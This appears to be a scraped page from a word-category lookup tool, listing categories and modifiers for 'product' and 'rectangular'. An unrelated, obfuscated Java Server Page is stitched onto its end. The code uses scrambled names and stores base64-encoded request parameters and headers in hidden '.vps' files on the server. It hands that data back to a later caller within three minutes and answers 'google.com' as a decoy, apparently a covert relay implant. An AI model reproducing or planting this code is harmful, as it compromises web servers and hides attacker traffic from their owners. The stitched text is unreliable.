Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
rectangular_product
:
line,
patch,
book,
album,
refrigerator,
block,
photo,
letters,
brochure,
frame,
cd_case,
magazine,
masonry_block,
picture,
newspaper,
scarf,
document,
graphics,
leaflet,
wooden_case,
photograph,
door_frame,
Modifiers matching
product
:
smaller,
cultural,
plastic,
usable,
original,
horticultural,
accurate,
energetic,
physical,
industrial,
antibacterial,
classy,
asian,
disposable,
finished,
luxurious,
advanced,
oriented,
inflatable,
edible,
handmade,
everyday,
delicate,
inner,
ruminant,
technological,
specialised,
opaque,
residual,
complex,
wholesale,
affordable,
animated,
manufactured,
metal,
charming,
audiovisual,
informative,
nonprescription,
familiar,
reliable,
historical,
waterproof,
promotional,
washable,
varied,
sweet,
joint,
burlesque,
recreational,
traditional,
eritrean,
pure,
medium,
egyptian,
ceramic,
ferrous,
japanese,
athletic,
permeable,
creative,
trim,
sweetened,
dental,
up,
abstract,
operational,
alternative,
homemade,
esoteric,
wet,
large,
genuine,
tailored,
secondhand,
microbial,
profitable,
swedish,
dehydrated,
starchy,
monolithic,
sugary,
cereal,
written,
medial,
homogeneous,
clean,
exciting,
hollow,
holistic,
endless,
healing,
medicinal,
french,
metallic,
electromechanical,
veterinary,
multiple,
intermediate,
indoor,
level,
valuable,
financial,
compressible,
formal,
susceptible,
granular,
meteorological,
argentine,
informational,
premium,
bound,
porous,
electric,
woolen,
free,
miscellaneous,
mixed,
red,
rectangular,
restricted,
sophisticated,
cool,
supportive,
starting,
circular,
flat,
solar,
ethical,
surplus,
intellectual,
lightweight,
newborn,
inefficient,
white,
flexible,
adult,
particulate,
casual,
unusual,
active,
precious,
geophysical,
overseas,
canadian,
licensed,
australian,
single,
motor,
meaningful,
baked,
instrumental,
electronic,
eternal,
published,
rigid,
foreign,
european,
main,
sensuous,
contemporary,
local,
german,
prepared,
complimentary,
orientated,
unpackaged,
surrounding,
uniform,
trendy,
matching,
stationary,
professional,
colored,
flammable,
aggregate,
real,
nuclear,
precast,
sensitive,
little,
undefined,
strategic,
electrical,
innovative,
variable,
nice,
arcadian,
toxic,
military,
reusable,
pneumatic,
personal,
native,
destructive,
difficult,
respiratory,
expendable,
interactive,
structured,
practical,
consumable,
public,
extracellular,
magical,
fragile,
mild,
accessible,
personalized,
sheetlike,
decorative,
simple,
bridal,
modern,
rare,
innocuous,
natural,
carbonaceous,
illegal,
proprietary,
useful,
typical,
western,
polymeric,
noble,
popular,
recombinant,
cd,
out,
printable,
black,
metabolic,
archival,
defective,
good,
rolling,
interpretive,
inorganic,
malleable,
fictional,
loose,
postal,
thick,
stock,
fresh,
allied,
kosher,
new,
informal,
moving,
nonprofit,
intimate,
magnetic,
automotive,
virtual,
culinary,
seasonal,
commercial,
inspirational,
therapeutic,
alaskan,
elementary,
marketable,
synthetic,
colour,
heavy,
beautiful,
intravenous,
abrasive,
soft,
correlative,
related,
exotic,
architectural,
efficient,
essential,
indian,
singular,
bendable,
interesting,
modular,
secondary,
visible,
administrative,
thicker,
obsolete,
thermal,
national,
friable,
interior,
allergenic,
spatial,
diverse,
bituminous,
outdoor,
standard,
unified,
ergonomic,
islamic,
older,
online,
fried,
perishable,
animal,
antimicrobial,
spicy,
religious,
fine,
cognitive,
collaborative,
chinese,
intelligent,
burmese,
attractive,
colourful,
genealogical,
hygienic,
exterior,
tropical,
aquatic,
incontinent,
larger,
marine,
teen,
fibrous,
functional,
actual,
translucent,
english,
analog,
safe,
coated,
liquid,
academic,
additional,
final,
terrestrial,
instructional,
celtic,
wooden,
turkish,
cooler,
linear,
italian,
organic,
wireless,
handwoven,
fixed,
tangible,
basic,
supporting,
distinct,
weighted,
discrete,
painted,
vietnamese,
potential,
specialized,
graphical,
homogenous,
conspicuous,
conventional,
spiritual,
insoluble,
resistant,
tribal,
transparent,
powdered,
cosmetic,
chemical,
volcanic,
separate,
cleansing,
color,
textual,
residential,
weblike,
supplementary,
straw,
present,
metaphysical,
critical,
ornamental,
complementary,
jewish,
bigger,
subjective,
wonderful,
needed,
off,
dried,
lighter,
skinned,
special,
psychological,
artificial,
long,
softer,
humanitarian,
refractory,
feminine,
common,
ancillary,
external,
semiprecious,
patriotic,
routine,
internal,
greek,
dense,
addictive,
combined,
malaysian,
unprocessed,
wan,
legal,
nontraditional,
structural,
inspiring,
technical,
editorial,
sounding,
several,
key,
cheap,
auxiliary,
linguistic,
primary,
sanitary,
mundane,
identifiable,
agricultural,
hazardous,
american,
localized,
refrigerating,
sustainable,
base,
clear,
temperate,
major,
solid,
weather,
rental,
scottish,
underlying,
indigenous,
felted,
corporate,
permanent,
woven,
sporting,
commercialized,
healthier,
unique,
graphic,
pharmaceutical,
peripheral,
nontoxic,
mechanical,
literary,
facial,
authentic,
educational,
unrelated,
african,
significant,
botanical,
geographic,
independent,
dangerous,
oversized,
undesirable,
global,
absorbent,
heavier,
macroscopic,
wholesome,
frozen,
hard,
symmetrical,
visual,
environmental,
radio,
sturdy,
side,
developing,
ethnic,
discretionary,
elastic,
organizational,
rich,
colombian,
convenient,
nutritional,
spanish,
round,
aromatic,
utilitarian,
world,
scented,
intensive,
vital,
fabricated,
cheaper,
specified,
wild,
biodegradable,
aesthetic,
motivational,
lifelike,
friendly,
artistic,
grown,
iron,
sticky,
stretchy,
protective,
mobile,
cold,
small,
exclusive,
reactive,
digital,
surgical,
optical,
important,
behavioral,
light,
supplemental,
refrigerated,
current,
broadband,
minor,
civilian,
rural,
bulky,
peruvian,
korean,
thai,
benign,
wearable,
viscous,
reflective,
oily,
regional,
poisonous,
durable,
biological,
costly,
deliverable,
harmful,
fundamental,
developed,
assistive,
planar,
philippine,
home,
valued,
cellular,
planned,
biologic,
unhealthy,
individual,
orange,
photographic,
future,
dry,
christian,
available,
copyrighted,
social,
throwaway,
healthy,
institutional,
desirable,
relevant,
observable,
savoury,
bulgarian,
necessary,
usual,
uncooked,
mexican,
fluid,
collectible,
thin,
size,
absorptive,
complete,
secure,
inexpensive,
rubbery,
scientific,
concrete,
solidified,
raw,
static,
wired,
journalistic,
heterogeneous,
recyclable,
semisolid,
economic,
woollen,
narrow,
amber,
discarded,
domestic,
newer,
suitable,
prosthetic,
antique,
offer,
particular,
nutritious,
expensive,
dynamic,
unmarked,
imaginative,
regular,
continuous,
elaborate,
ordinary,
otc,
menstrual,
comfortable,
medical,
refined,
subtropical,
romanian,
statistical,
competitive,
conductive,
scholarly,
inside,
renewable,
volatile,
immaterial,
battered,
favorite,
portable,
herbal,
combustible,
inflammable,
symbolic,
complicated,
inedible,
old,
Simple categories matching
rectangular
:
screen,
item,
composition,
object,
article,
wave,
block,
form,
image,
structure,
obstacle,
opening,
surface,
defect,
group,
pan,
shape,
area,
thing,
product,
solid,
box,
container,
room,
package,
waveform,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>